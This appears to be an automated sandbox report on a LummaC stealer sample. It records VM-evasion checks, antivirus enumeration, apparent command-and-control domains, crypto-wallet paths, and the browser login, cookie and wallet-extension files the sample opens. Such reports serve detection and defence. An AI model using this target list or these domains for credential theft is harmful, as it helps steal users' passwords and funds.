Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F83D9 push FFFFFF8Fh; ret	1_3_016F83DB

Source: C:\Users\user\Desktop\ji2xlo1f.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ji2xlo1f.exe

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: F61EF7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: F32D9D
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: EB5DCB
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: E36B3D
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: EAAEDE
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: 9E7BFF
Source: C:\Users\user\Desktop\ji2xlo1f.exe	API/Special instruction interceptor: Address: ADC48C

Source: C:\Users\user\Desktop\ji2xlo1f.exe TID: 5264	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe TID: 5264	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\ji2xlo1f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: ji2xlo1f.exe, 00000001.00000002.2584910256.000000000162E000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000002.2584910256.0000000001695000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242782782.0000000001695000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2571620686.0000000001694000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001695000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ji2xlo1f.exe, 00000001.00000003.2368973258.0000000003D6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ji2xlo1f.exe, 00000001.00000003.2369051268.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\ji2xlo1f.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: moutheventushz.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: respectabosiz.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: bakedstusteeb.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: conceszustyb.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: nightybinybz.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: standartedby.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: mutterissuen.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: worddosofrm.shop
Source: ji2xlo1f.exe, 00000001.00000002.2583051375.00000000006E1000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: terracedjz.cyou

Source: C:\Users\user\Desktop\ji2xlo1f.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ji2xlo1f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ji2xlo1f.exe, 00000001.00000003.2491396441.00000000016F3000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2490993370.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016E7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\ji2xlo1f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ji2xlo1f.exe PID: 4176, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ji2xlo1f.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: ji2xlo1f.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: ji2xlo1f.exe	String found in binary or memory: Jaxx Liberty
Source: ji2xlo1f.exe, 00000001.00000003.2458550592.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ji2xlo1f.exe, 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: ji2xlo1f.exe	String found in binary or memory: ExodusWeb3
Source: ji2xlo1f.exe, 00000001.00000003.2458550592.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
